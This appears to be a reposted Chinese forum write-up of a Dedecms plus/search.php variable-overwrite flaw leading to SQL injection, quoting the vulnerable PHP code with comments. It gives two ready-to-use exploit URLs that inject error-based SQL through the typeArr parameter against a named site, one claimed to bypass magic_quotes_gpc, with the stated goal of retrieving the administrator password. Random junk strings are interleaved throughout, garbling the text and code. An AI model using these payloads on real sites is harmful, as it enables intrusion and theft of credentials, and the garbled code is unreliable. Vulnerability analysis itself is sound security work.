微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.7 A! Z& H2 Q" ? F U
作者: c4rp3nt3r@0x50sec.org) ^, o9 G- W$ e8 \
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.$ i+ b: u D) B/ F
) U2 A6 W; w* {9 O" k黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
! I7 g; o8 r2 V8 R ( f9 V, M+ E9 p1 M1 w2 V
============
5 _6 i9 D, o4 C0 Q: c 1 n @9 g% `4 f/ h# f
T' y1 g; S/ M' D" m9 ~: iDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
+ m7 C) `' x' d& [! a* x 8 L8 x ]# o0 ^* Z( E" U
require_once(dirname(__FILE__).”/../include/common.inc.php”);
5 j8 b- H( |( y9 s1 A/ g. f# drequire_once(DEDEINC.”/arc.searchview.class.php”);
' K4 G/ }; i& w0 _# o* t o% J/ O. j
8 D) S& O! l c* M7 V% I7 }) h$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
) X3 K8 R# H1 n9 h4 T$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
5 {9 L( C; d r4 Q" s/ H$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
, r o7 ]* P6 t4 J5 o$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
6 v: W, a0 t* v$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
2 y& B) R% {7 Y% Y 2 y6 b% m4 a+ |$ N$ c
if(!isset($orderby)) $orderby=”;7 ?" u6 e% O* V' V
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);5 R& e4 n8 @- [# ? E- |8 Y
1 M9 F/ I6 x5 k& r" }0 ?1 q1 t
! ]" G! k- l2 b. T: ^; A( N) ~9 `if(!isset($searchtype)) $searchtype = ‘titlekeyword’;! v2 z, G3 D+ f9 ~
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);/ K. z' ]! l( ?* u/ s: o3 u! ~; U
& U/ x7 T2 C; Z: }8 B
if(!isset($keyword)){4 O. _9 m/ V0 h; y
if(!isset($q)) $q = ”;4 D& g0 V, w) \. S
$keyword=$q;: }; s2 |4 v7 G4 B' O
}7 }. Y' L2 |, [% ~8 A% v7 G
6 [9 M2 O1 z% l# G F P# A$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));0 t1 r+ O6 c5 h$ F; H
/ S; a( a. E* |# K7 G//查找栏目信息3 U% Q- s+ H2 G/ T# M
if(empty($typeid))
5 Y) b* P, z; }. Y{
8 W9 H b: E% r ` $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
4 E3 b% o. C. k( R S6 S if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
6 M, r% t+ z0 c$ W7 K {* Y) S! y! W9 g1 z9 g
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
, f! V/ T; [6 d fwrite($fp, “<”.”?php\r\n”);8 S8 s/ o1 k$ W2 x2 o
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);( Y+ j y: z0 C3 Z
$dsql->Execute();
+ Z3 |1 c1 @6 b! t. n6 w while($row = $dsql->GetArray())
3 c% ^" R8 s* I# j8 T {
! ~$ C; r4 K4 A3 O fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
' p( }2 V3 p# J9 d" S* Z5 S: l+ I8 j }
8 z4 M: G3 t& O% f7 ]6 V, I3 V. ~ fwrite($fp, ‘?’.'>’);
2 F0 M/ U" {6 p. {; H, I' v" `1 g fclose($fp);
' F8 L4 w8 p- P( {% G- P }
& `2 m4 W/ Y2 m" p6 B //引入栏目缓存并看关键字是否有相关栏目内容8 R) u8 h ^" D3 A" q( }
require_once($typenameCacheFile);8 X$ S* V2 [* u; _
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个) T$ p k# I( m9 f' G8 b
//' p+ F6 C2 L' v: C) `
if(isset($typeArr) && is_array($typeArr))# x; {. W( G- ~& r# C6 Z# K1 `
{
# @5 P& a s& O foreach($typeArr as $id=>$typename)
) k/ V1 c: o( d3 C& f4 e4 d" Y) ? {$ h/ H6 [" q; K/ ^
e* \; y4 t& k7 I$ K; c; Z" E <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过+ q" z' F3 t. b6 _2 r1 |; Q
if($keyword != $keywordn)
# D6 {0 m6 m# p! l4 n2 l {( ~: Q( U. C9 y$ w5 e6 w
$keyword = $keywordn;
# R8 h' p" j" |& j6 Z, z, ` <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
) D, }# y4 U" v. t break;
2 Q/ v5 X! x1 T t9 V$ `; U* R }
, D2 k E& m T- h }
* L5 v$ b, x6 e$ u- u }
% Z6 Y% T; X+ j, \9 ]3 v+ o- Q}; I$ \3 q/ R- z
然后plus/search.php文件下面定义了一个 Search类的对象 .
- [4 I( f X: D# w, D* ~+ _在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.3 E! R' {. @- a3 `5 o
$this->TypeLink = new TypeLink($typeid);+ K- Q6 q. _; K! a( x/ O! N
' F. K* i- | `. i3 T2 p3 P9 N
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.7 ]- |: e3 I3 L" A+ @. _, ]8 E
- A! b7 D2 [+ N& U2 m# X8 [
class TypeLink, O7 {4 E" E" i+ m+ X" E& J3 @$ _
{/ ^6 J0 H2 ^5 p& P! |
var $typeDir;
5 O( p5 Y: ^/ S, u3 p4 h var $dsql;
- a+ U) ]9 ~% x2 ?0 G var $TypeID;
+ r6 p2 C Y/ E; X( r8 W0 ~+ `) I var $baseDir;& a7 o* N! v; w
var $modDir;2 i, r% R, h: y
var $indexUrl;6 }: O. M: b$ {4 U6 v
var $indexName;
. f& q* y( y% Q. w' U0 H0 c var $TypeInfos;
- T/ B: T- T( c5 W ^# _ var $SplitSymbol;
% V0 L5 y$ e$ d4 m9 K% h var $valuePosition;
! s: [# ]5 N. E, ]; @ var $valuePositionName;
$ V5 {( S/ r# M8 E: N$ v; C |2 g var $OptionArrayList;//构造函数///////
6 c, j* F0 A0 h/ q //php5构造函数; D& \9 f1 J3 b3 \* k
function __construct($typeid)
. j0 X) U: @, {0 R {, s0 q, k* Z" M8 s7 g* y
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$ F8 S" W% G0 q$ u $this->indexName = $GLOBALS['cfg_indexname'];
* t& m: e& x) d$ D" R: U' M9 V $this->baseDir = $GLOBALS['cfg_basedir'];
( J6 `: l7 h: H9 [4 m' N# m* X# E $this->modDir = $GLOBALS['cfg_templets_dir'];
+ x2 o% D5 [* T $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];* R* ]: S9 ^5 y4 G- n0 T* y# o( g
$this->dsql = $GLOBALS['dsql'];: k) Z- {" o* w l
$this->TypeID = $typeid;
5 V# [) y% ]4 J! z3 V: n& ~. f5 f $this->valuePosition = ”;& A Y4 L4 ^8 t4 I- U* w$ b: e& E
$this->valuePositionName = ”;
( Y8 n& I# C3 \9 S $this->typeDir = ”;
& r, ], X& Z+ _. U $this->OptionArrayList = ”;) ~8 {0 l3 p) T0 B- v
3 s+ t! @ R4 T: [& n //载入类目信息
% M r! y+ a9 p5 i3 M; d& Z
9 g# b( N# s5 l7 }) U6 j8 y6 W <font color=”Red”>$query = “SELECT tp.*,ch.typename as
+ \, s$ D& B; z! Q' W; ?ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join4 i' B# q/ f2 Z' i! X/ @5 ]
`#@__channeltype` ch' e! j! h+ \' R: v4 e
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿# z1 v" R. S s$ u7 g( ~1 E
; |6 y" I1 u( u$ G. Y
if($typeid > 0)4 M- C- O; G5 |; j9 _7 y: C9 Q
{
$ u7 u E$ s- G( u4 ]% U $this->TypeInfos = $this->dsql->GetOne($query);
' ]4 N1 |/ G/ i; t利用代码一 需要 即使magic_quotes_gpc = Off
. V" t, ]! w l9 y) u! S7 I
" j% ^: w9 q0 c+ \2 E" k1 F3 jwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
9 W: H" r' ~# } g3 ~% F8 o
8 N( w6 V! }/ {$ A9 e7 W4 {这只是其中一个利用代码… Search 类的构造函数再往下
* L u- }2 X' v) R8 |5 ] 8 j/ }4 X3 M! `6 E' z
……省略% F: Z; N& s: W4 w: Z* B
$this->TypeID = $typeid;* X' G' h. Y. X1 q2 m
……省略
4 [% L/ u/ J! x7 K5 u% H. S0 Lif($this->TypeID==”0″){! [" q, j- K3 c5 G* |6 n& l
$this->ChannelTypeid=1;# V, M& O0 L& |' r% ?
}else{- J9 P9 ]% a1 A4 F" M
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
0 H8 H. i8 P; n6 l$ P; z, C+ w//现在不鸡肋了吧亲…( x, W3 F0 w0 i. `
$this->ChannelTypeid=$row['channeltype'];0 g7 s1 M5 b- k. }& ?0 I9 U
3 X3 m( E& ]7 J$ ~( M }3 ]. U9 e, g' W$ {- W" S- E
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
/ t4 h( m4 a- ?/ r4 S3 ~5 E
8 { X+ `- F8 ? C$ r# awww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
i4 b5 b+ L0 ]7 }. D. X + b# a; `+ b, I3 q
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
1 D5 `$ C3 s4 H# P+ z" c% z- l |